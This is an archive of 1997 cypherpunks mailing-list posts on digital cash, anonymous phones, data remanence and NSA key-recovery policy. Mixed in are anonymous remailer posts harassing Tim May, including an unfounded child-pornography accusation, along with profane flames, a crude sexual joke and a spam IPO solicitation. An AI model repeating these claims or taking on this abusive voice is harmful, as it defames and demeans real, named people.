Message-ID: <199704121408.QAA06581@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


:0
* Received: .*sympatico.ca
/dev/null




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sat, 12 Apr 1997 14:02:32 -0700 (PDT)
To: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: None
In-Reply-To: <199704112140.OAA27286@fat.doobie.com>
Message-ID: <3.0.1.32.19970412163839.007e0bf0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:14 PM 4/11/97 -0600, Graham-John Bullers wrote:
|On Fri, 11 Apr 1997, Huge Cajones Remailer wrote:

The medicine is as bad as the ailment;

I think Graham-John Bullers <real@freenet.edmonton.ab.ca> needs each of us to send ten copies of this back to him.

|
|I think Vulis needs each of us to send ten copies of this back to him.
|
|> There's a rumor that Timothy Mayhem sells his dead relatives as 
|> fertilizer as they constitute the best shit in California.
|> 
|>           |||||||||||
|>            \~0/ \0~/
|>            <  (0)  >
|>       --oOO--/|||\--OOo- Timothy Mayhem
|> 
|
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|Graham-John Bullers       email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca  
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 12 Apr 1997 14:57:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <v0302090eaf75a184e028@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Crispin?

Fuck you. With a brick.

Now, exactly what did that nasty little bit of vituperation have have to do
with our admittedly equivocal discussions about the definition of
randomness, and whether any given market was a random process --
definitional prestidigitation aside -- and thus as efficient as it was ever
going to be? Something any finance major, and probably any electrical
engineer, for that matter, is taught in the third week of school?

Not a god-damned thing.

A point, which, if you actually go back and *read* the asinine (woops!) bit
of logical sophistry (so sorry!) you eventually found yourself in, you
might have actually comprehended. If you didn't fancy yourself as God's
Gift to Disputation (damn... another one; I simply *must* stop this).

Which, of course, was my point in showing you all your ad hominems. A point
you didn't actually get, insisting on piling on more instead, so you could
"prove" your point with a veritable bestiary of informal fallacies. (The
nadir of which, by the way, was asking me to clarify something I said in
passing, and then calling it a "straw man" in reply. Remarkable.)

Having watched you for a while, and having determined that you have nothing
new to add to the discussions here, I have no compunction whatsoever about
putting you into my killfile.

With a brick, Mr. Cretin^h^h^h^hispin.

<Plonk!>

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 16:52:01 -0700 (PDT)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: "internet is ruining representative govt"
In-Reply-To: <199704122040.NAA09910@netcom13.netcom.com>
Message-ID: <33501CBF.1172@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:

> *To: Multiple recipients of list <info-policy-notes@essential.org>
> *Subject: Cokie Roberts on How Internet Is Ruining Representative Government

> For many parents, the idea of yet another influence in their children's
> lives over which they have no control is threatening.

  Kookie Roberts is just another in a long line of parents who
seem to think that control over their children's development
is the responsibility of someone other than themselves.
  I have a wonderful idea. How about if those parents who don't
want to assume responsibility for control over their children's
lives pass custody of them to someone who will assume that
responsibility, instead of arguing that everyone else's rights
must be abridged because they are busy doing other things.

  I, for one, don't want to be forced to live in Kookie's world
just because she is too busy being busy and important to properly
supervise her children.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 16:52:00 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Fuck/god-damned/damn / Was--Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <33501DF7.6A62@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> 
> Fuck you. With a brick.
> god-damned 
> damn... 

  As a long-time sufferer of Tourette Syndrome, I would like to 
thank all those on the list who have gone out of their way to
make me feel at home.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/webworld






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 12 Apr 1997 14:57:59 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: anonymous credit
In-Reply-To: <199704121752.KAA03393@crypt.hfinney.com>
Message-ID: <v0302090daf759e70271e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


This looks pretty much like a standard secondary market for digital bearer
bonds. For the few of those here who haven't done so already ;-), see the
e$ home page for several rants on the same subject.
<http://www.shipwright.com/>

The only people who really need to be identified in such a market -- at
least as "identified" as a perfect pseudonym needs to be -- are the issuer
and the trustee, both of whom must have some kind of persistant reputation
in order to issue the bonds in the first place. The issuer because they're
borrowing the money for something, and trustee, because, as the financial
intermediary, they're renting their reputation to the trade in exchange for
a haircut on a transaction somewhere, usually at issuance and redemption.

In Mr. Dai's case, the trustee is some large trustworthy entity, and the
issuer is a bunch of anonymous, or at least pseudonymous, people whose
reputations would be trashed by the trustee though on a separate "channel"
if they don't pay up. It's actually what happens with mortgages and bank
accounts all the time, except we're doing it here in bearer form. In fact,
in blinding(?) the borrower's identity from the lender, we doing something
pretty much like securitizing the debt. There is nothing to keep us from
pooling the debt and issuing securitized versions, controlling for all
kinds of risks much the same way that GNMAs, or CMOs, or other deriviative
fixed income assets do. In fact, it's a very good business reason for doing
this, and so it probably will happen in the long run.

Once again, anonymity (of a sort) is cheaper than identity.

By the way, the trustee doesn't have to be large, only reputable.

If Moore's Law allows it, I anticipate markets in which the trustees could
become very small indeed, and would actually form syndicates with lots of
entities to handle what would now be considered routinely small
transactions, like lunch. :-). This the "personal" digital bearer bond that
I abuse so much as a replacement for credit cards when I explain this stuff
to people who are starting to learn about it. :-).

Hal's discussion about lending principal and borrowing from the same pool
at the same time reminds me of a scheme I've heard for hedging against the
eventual day when the US government repudiates its debt. If you feel
morally obliged to kick in your share, anyway. The idea is, hold your
calculated share of the national debt in US Treasuries (with interest
reinvestment, of course :-)), and, when the fateful day comes, you'll owe
the "money", now zero, to yourself, just like Roosevelt said. Actually, if
the government is moral and starts to repay the debt, you can hold
treasuries and redeem them to pay the debt-repayment surtax. Of course, you
could make better money elsewhere, but there is a certain, um, fireside,
symmetry about it.

At this stage, however, I'm a confirmed pyrophobe, Fed-wise.


Cheers,
Bob Hettinga






-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 16:52:11 -0700 (PDT)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Appeals to Authority and Herr Doctor Professors
In-Reply-To: <Pine.HPP.3.91.970411191249.14680A-100000@cor.sos.sll.se>
Message-ID: <33501FB1.5109@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> 
> my opinions are my own, and do not represent any agency
> other than the ones involved in the murder of J.F.K.

  Uhh...OK.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 17:39:28 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Jim Bell / Columbian News Articles
Message-ID: <33502C13.2FD6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


A variety of articles on Jim Bell are available at:
http://www.columbian.com

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 12 Apr 1997 18:09:39 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [ADMINISTRATIVIUM] Degausser
In-Reply-To: <199704130002.UAA00448@dhp.com>
Message-ID: <Pine.A41.3.95.970412190852.52162A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sat, 12 Apr 1997, lucifer Anonymous Remailer wrote:

> Embedded in Timothy C. May's babblings are preposterous lies, wild distortions, 
> child pornography (both as graphic descriptions and in JPEG format), ethnic 
> slurs, and racial epithets.
> 
>           <<<<
>          o(0-0)o
>       -ooO-(_) Ooo-- Timothy C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 12 Apr 1997 17:03:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] Degausser
Message-ID: <199704130002.UAA00448@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Timothy C. May's babblings are preposterous lies, wild distortions, 
child pornography (both as graphic descriptions and in JPEG format), ethnic 
slurs, and racial epithets.

          <<<<
         o(0-0)o
      -ooO-(_) Ooo-- Timothy C. May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 12 Apr 1997 20:34:10 -0700 (PDT)
To: *****Jay Jason LaBelle***** <cypherpunks@toad.com>
Subject: Re: the substrate
In-Reply-To: <Pine.SOL.3.91.970412214652.16264A-100000@expert.cc.purdue.edu>
Message-ID: <v03007802af76111a1e6c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:48 PM -0800 4/12/97, *****Jay Jason LaBelle***** wrote:
>What exactly happens to the substrate that causes data to be somewhat
>readable after a specific bit pattern has been stored there for a long time?
>

I really hate these short, ambiguous questions.

If I understand your question, it depends on the technology, In traditional
silicon devices, either NMOS or CMOS, using SiO2 as the dielectric in the
storage capacitors and/or transfer gates, longterm storage of a fixed bit
pattern can produce residual threshold shifts. This can be caused by
trapping in the oxide, or even by short channel effects injecting electrons.

DRAMs and SRAMs have different imprinting characteristics.

(Interestingly, exposure to gamma or beta radiation uniformly can "freeze
in" a stored bit pattern for later readout under special conditions.)

I suggest a good book on semiconductor device physics, such as Andy Grove's
book, or Sze's standard textbook.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 12 Apr 1997 18:32:16 -0700 (PDT)
To: Martin Minow <cypherpunks@toad.com
Subject: Re: Swedish Narcotics Police Demand Telephone Card Database
In-Reply-To: <v03102803af7468aac645@[17.219.103.108]>
Message-ID: <3.0.1.32.19970412213029.0074c920@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 03:36 PM 4/11/97 -0700, Martin Minow wrote:
>According to an article in the Swedish newspaper, Svenska Dagbladet
><http://www.svd.se/svd/ettan/ettan_97-04-11/narkotikapolisen.html>,
>the Stockholm narcotics police has asked the national police and
>State Prosecutor to require that purchasers of a new telephone
>card used for mobile telephones be registered, and that the police
>have access to the purchaser database. "Since the card is purchased
>anonymously, the owner cannot be determined, which makes wiretapping
>impossible." 

This week's Economist has an article on how the Italian national phone system
is making lots of money marketing GSM phones fed by cards that can be bought
for cash.  It expands the market for such phones.

I mentioned a few weeks ago, that Omnitel (a new PCS operator in the NYC
vicinity is selling (and heavily promoting) its no contract, no credit check,
card fed phone.  The phones and cards (after you buy the phone cards, you
call in the cards to an operator to add credit to the account) are available
all over the area.  The phone costs $99 (after rebate).

Yesterday, as I was walking past a Radio Shack, I noticed that they are also
selling a competing card fed PCS phone with the contradictory name of
Tracphone.

I love Capitalism.

It's easy to see why New York PCS operators would turn in this direction. 
They won expensive PCS franchises and have to spend big bucks to tower the
vicinity.  It would be nice for them if they could get an income stream to
help pay part of the interest.  But there's a problem.  Cellular providers
NYNEX/Bell Atlantic and AT&T are offering phones for $15/month which work
throughout the BOSWASH megaplex (and nationwide with roaming charges)
meanwhile the PCS vendors just cover NYC and Northern New Jersey.  They need
to offer something else.

The benefit of card fed phones to vendors is obvious.  Suddenly, the 20-40%
of the population that can't (or doesn't want to) qualify for a
credit-checked cellular account can just pony up the cash and walk out with
one.

A real privacy benefit as well.  If the authorities can't keep anonymous
people from getting accounts in such a regulated industry, it is hard to
imagine how they expect to bar anonymous accounts in an unregulated system
like the Net.

DCF

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Version: 4.5

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: *****Jay Jason LaBelle***** <jlabelle@expert.cc.purdue.edu>
Date: Sat, 12 Apr 1997 19:48:07 -0700 (PDT)
To: cypherpunks <cypherpunks@toad.com>
Subject: the substrate
Message-ID: <Pine.SOL.3.91.970412214652.16264A-100000@expert.cc.purdue.edu>
MIME-Version: 1.0
Content-Type: text/plain


What exactly happens to the substrate that causes data to be somewhat 
readable after a specific bit pattern has been stored there for a long time?


------------------------------------------------------------------------------
Jay LaBelle                                   Amateur Radio Callsign:   KB8ZAV
Phone:(317)495-2836                                       
------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Henry Summers <summers@osu.edu>
Date: Sat, 12 Apr 1997 19:50:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Business Opportunity
Message-ID: <01IHMV30CHWYBIL0Z6@phem6.acs.ohio-state.edu>
MIME-Version: 1.0
Content-Type: text/plain


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Name:                                          SUMMERS PUBLICATIONS
                                               1010 Calle Cordillera
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City, State, Zip:
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*******************************************************************
<[USERNAME]> sent you this message using NetMailer 
from Alpha Software Corporation. 
 
Visit http://www.netmailer.com/trial for more information.
*******************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sierra On-Line <webmaster@sierra.com>
Date: Sat, 12 Apr 1997 23:19:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Sierra On-Line FAQ
Message-ID: <199704130619.XAA09452@cerberus.sierra.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for visiting SierraWeb! This message contains important
information regarding your subscription, so we recommend that you
keep a copy for future reference. In particular, you will need to
know your username and password to access certain features of our
web site:

    USERNAME: cypherpunks
    PASSWORD: cypherpunks

We can't change your password or look up your existing information,
so if you lose your password, you'll have to re-apply under a
different name.

The rest of this message contains an introduction to our site and
answers to frequently asked questions. Thanks again for visiting
SierraWeb!

               - - - - - - - - - - - - - - - - - - - - 
 
Questions!  When you have a web site, you tend to hear the 
same questions from a lot of different people.  And so your 
friendly webfolks at Sierra put together a list of questions 
that we hear on a regular basis, complete with the answers 
that we've typed so many times that we see them in our sleep.  
And we call it:

THE SIERRAWEB FAQ (that's Frequently Asked Questions, not 
                   Frantic About Queensryche.  Read on!)

Q:  Okay, I've managed to live this long without logging onto 
    your really cool web site, but I just can't take it any more!  
    How do I log on?

A:  Well, first you're going to have to go there.  The SierraWeb 
    address is:

          http://www.sierra.com/

    This will take you to our main menu page.  From this page, 
    you can register to be a member of our site (which we'd 
    probably like to call the Sierra Club, except that the 
    name's already taken, and they don't do computer games).  
    Click on Join to register, and you'll be asked to choose a 
    user name and password, and write them down somewhere where 
    the dog won't chew `em up.

Q:  I've spent the last six months in a freak time warp/in my 
    aunt's house in Pittsburgh/in a pit/writing my thesis/on 
    an archaeological expedition to Egypt/trying to solve the 
    Chinese Checkers puzzle in Shivers, and in the meanwhile 
    I've forgotten my username or password.  Can you tell me 
    what it is?

A:  Nope! We have no way to tell what your password or user 
    name is. If you've forgotten yours, it's time to pick a 
    new one. Just fill out the registration form again, this
    time choosing a different username and password.

Q:  You've got enough pages on your web site to keep Victor Hugo
    happy (cultural reference, here, folks ... French author, 
    wrote Les Miserables, you could get a hernia lifting the 
    unabridged version). So how am I supposed to find all the 
    info I want about a specific product without having to dig
    through all those pages?

A:  You're in luck. The Search feature of our site will allow 
    you to go to just the topics you're interested in and 
    skip the rest, like picking through the dessert buffet and
    selecting only the stuff that has jell-o in it. So if you
    only like baseball simulations, or low-fat recipe programs,
    or computer games with robots in them, all you need to do is
    click on Search (always found at the bottom right-hand corner 
    of each page), and type in the word you're looking for. This
    will provide you with a list of all the places on our site
    that your subject is mentioned.  Look through the list, click
    on anything that looks interesting, and it'll take you there!

Q:  Okay, so I've looked through 97 different pages on your site,
    downloaded 8 demos and enough screenshots to fill a bucket of
    zip cartridges, talked for three hours with the folks in the
    Chat rooms, and, frankly, my brain is fried and I really don't
    want to hit "<- Back" about 183 times to get back to the 
    index page.  Isn't there an easier way?

A:  Yep. At the bottom of each page is a "Home" button. Click it.

Q:  I clicked to download a file, and it gave me an error message
    which said, "FTP anonymous access denied".  What's up with 
    that?  I wasn't trying to be anonymous.  Doesn't your system
    recognize me any more?  This is starting to sound like an 
    episode of "Nowhere Man"!

A:  Don't worry about it.  It just means that the file you want
    can't be downloaded from the server at the moment.  Our 
    server is usually busier than a colony of ants at a Fourth 
    of July picnic, so it may take several tries to get a file.
    Just try your download again later.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 12 Apr 1997 23:37:18 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <19970412233422.41891@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, Apr 12, 1997 at 04:57:57PM -0400, Robert Hettinga wrote:
> Mr. Crispin?
> 
> Fuck you. With a brick.
[...]
> Having watched you for a while, and having determined that you have nothing
> new to add to the discussions here, I have no compunction whatsoever about
> putting you into my killfile.
> 
> With a brick, Mr. Cretin^h^h^h^hispin.
> 
> <Plonk!>
> 
> Cheers,
> Bob Hettinga

Well, you've probably all seen this before, but somehow it seemed 
appropriate for the occasion:

   Pierre, the French fighter pilot, takes his girlfriend, Marie, out
   for a pleasant little picnic by the river Seine.  It's a beautiful
   day and love is in the air so Marie leans over to Pierre and says:
   "Pierre, kiss me!".  So our hero grabs a bottle of red wine and
   passionately splashes it on Marie's lips. 

   "What are you doing, Pierre?" shrieks Marie. 

   "Well, my name is Pierre, the French Fighter Pilot, and when I have
   red meat I like to have red wine!"

   His answer is good enough for Marie and things begin to heat up. 

   So she says: "Pierre, kiss me lower."

   Our hero rips off her blouse, grabs a bottle of white wine and
   starts pouring it all over her breasts. 

   "Pierre, what are you doing?"

   "My name is Pierre, the French Fighter Pilot, and when I have white
   meat, I like to have white wine!"

   They resume their passionate interlude and things really steam up. 

   Marie leans over once more and softly whispers into his ear:
   "Pierre, kiss me lower." Pierre tears off her underwear, grabs a
   bottle of Cognac and sprinkles it all over.  He grabs a match and
   lights it on fire.  Patting the flames out furiously, Marie
   screams: "PIERRE, WHAT ARE YOU DOING!!!?"

   "My name is Pierre, the French Fighter Pilot, and when I go down, I
   go down in flames!"

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: chairman <ceo@mitnet.com>
Date: Sun, 13 Apr 1997 01:36:50 -0700 (PDT)
Subject: Digi-Cash IPO!  $1.60 per share
Message-ID: <199704130245.WAA04552@ispam.net>
MIME-Version: 1.0
Content-Type: text/plain


Greetings:

Our market research indicated that this information 
may very well be very interesting to you!
  
As you may know, initial public stock offerings confer 
upon QUALIFIED INVESTORS huge profit potential
opportunities, IF they understand risk.  

Millennium Interactive Technologies Corp., developer of 
the first ever advertiser funded system of digital cash 
is offering 625,000 common shares directly to the public 
at $1.60 per share, with a 625 share minimum.
 
MITNET is an E-commerce startup which will offer 
Digital Cash and a FREE smart card to every user who 
retrieves advertising E-mail from its Internet web
site.  MITNET DCUs (Digital Currency Units) can be 
redeemed to pay for your on-line charges, Or converted 
instantly into the currency of any nation.   MITNET 
ad-mail is the future of Internet advertising!

  OFFERING CAN ONLY BE MADE BY WAY OF PROSPECTUS

QUALIFIED INVESTORS of full age can obtain a printed 
copy of this offering prospectus, demo software, and the
website URL, by sending a reply with name, street address, 
and day or evening phone number.  (please specify)  
===================================================
This is neither an offer to sell, nor the 
solicitation of an offer to buy any securities. 
===================================================
Dislike commercial e-mail?  Let us put you on our 
master *DO-NOT-MAIL*  list which we supply to 400+ 
bulk e-mail firms.  Simply reply with the word 
remove anywhere in your message.
===================================================
           mailto:ceo@mitnet.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tdls@voyager.net (Tom)
Date: Sun, 13 Apr 1997 05:36:34 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: LSL5 - Patty can't get into Studio 2
Message-ID: <199704131236.FAA15487@cerberus.sierra.com>
MIME-Version: 1.0
Content-Type: text/plain


When you get to the bottom of the elevator, you have to go one screen to
the right to get to the right studio. Then you can use the number from
the blue stickum.

--

(This message was sent to you automatically as a reply
to a message you posted in "The Land of the Lounge Lizards" on Sierra's web
site at http://www.sierra.com/messages/larry/.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 13 Apr 1997 08:04:31 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: None
In-Reply-To: <199704131309.JAA32360@dhp.com>
Message-ID: <Pine.A41.3.95.970413090316.60570B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.   
  On Sun, 13 Apr 1997, lucifer Anonymous Remailer wrote:

> Tim C. May styles his facial hair to look more like pubic hair.
> 
>          /_/\/\
>          \_\  / Tim C. May
>          /_/  \
>          \_\/\ \
>             \_\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 13 Apr 1997 06:09:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NoneZero-knowledge commit
Message-ID: <199704131309.JAA32360@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. May styles his facial hair to look more like pubic hair.

         /_/\/\
         \_\  / Tim C. May
         /_/  \
         \_\/\ \
            \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Sun, 13 Apr 1997 09:47:53 -0700 (PDT)
To: John Young <cypherpunks@toad.com
Subject: Re: NSA on GAK
Message-ID: <3.0.32.19970413094112.006df174@best.com>
MIME-Version: 1.0
Content-Type: text/enriched


[I think the other exceprt was based on this one, from Charles IX of France in 1563]


Printing press registration may prove essential in making printing and literacy managable 
on an international basis. We are not the only country wrestling 
with the public safety implications of  printing presses. 
France, Israel and Russia recently imposed import and domestic 
use restrictions. Several Asian, South American and African 
countries have had similar restrictions in place for years. Others
may impose them as  printing presses proliferate.

For many overseas, as well as here, the logic of the need to 
balance business imperatives with public safety concerns argues 
for printing press registration. The European Union and other confederations 
are considering printing press registration-based infrastructures. The world's major 
standards bodies are designing future standards so that printing press registration 
can be accommodated.

International standards and protocols for printing press registration may prove 
essential to hand off national restrictions on  printing and literacy, to 
promote a broad export market for printing presses and to establish 
a infrastructure acceptable for general international 
use. This would accelerate the realization of the promise of information 
technology, and that would be in everyone's best interest.

Working in partnership, government and industry together need to 
lay the foundation necessary to sustain and strengthen information 
security for America. I wish to emphasize that the infrastructure for 
printing press registration will be built by industry as a commercial venture. 
This task is huge. Collaboration among many partners will be 
essential if we are to establish a PPRI that promotes the use of 
printing and literacy worldwide.

===========================================================================


At 10:47 AM 4/13/97 -0400, John Young wrote:
>Excerpts of remarks by NSA head William Crowell to
>NISSC96, October, 1996:
>
>Key recovery may prove essential in making encryption scalable 
>on an international basis. We are not the only country wrestling 
>with the public safety implications of unbreakable cryptography. 
>France, Israel and Russia recently imposed import and domestic 
>use restrictions. Several Asian, South American and African 
>countries have had similar restrictions in place for years. Others
>may impose them as strong cryptography proliferates.
>
>For many overseas, as well as here, the logic of the need to 
>balance business imperatives with public safety concerns argues 
>for key recovery. The European Union and other confederations 
>are considering key recovery-based KMIs. The world's major 
>standards bodies are designing future standards so that key 
>recovery can be accommodated.
>
>International standards and protocols for key recovery may prove 
>essential to hand off national restrictions on strong encryption, to 
>promote a broad export market for cryptography and to establish 
>a key management infrastructure acceptable for general international 
>use. This would accelerate the realization of the promise of information 
>technology, and that would be in everyone's best interest.
>
>Working in partnership, government and industry together need to 
>lay the foundation necessary to sustain and strengthen information 
>security for America. I wish to emphasize that the infrastructure for 
>key management will be built by industry as a commercial venture. 
>This task is huge. Collaboration among many partners will be 
>essential if we are to establish a KMI that promotes the use of 
>encryption worldwide.
>
>-----
>
>For full talk:
>
>   http://jya.com/nsagak.htm
>
>
>


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 13 Apr 1997 09:47:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970412224402.009d66d0@mail.teleport.com>
Message-ID: <v0302093caf76a0b78618@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:41 am -0400 on 4/13/97, Rich Graves wrote:


>I've been told that the main reason
> almost the entire MSN team left Microsoft about a year ago is that they
> were prohibited from pursuing more efficient non-proprietary solutions.

Hettinga's paraphrase of Gilmore's Law:

"A geodesic economy sees monopoly as damage and routes around it."

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 13 Apr 1997 07:48:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NSA on GAK
Message-ID: <1.5.4.32.19970413144709.0080aef0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Excerpts of remarks by NSA head William Crowell to
NISSC96, October, 1996:

Key recovery may prove essential in making encryption scalable 
on an international basis. We are not the only country wrestling 
with the public safety implications of unbreakable cryptography. 
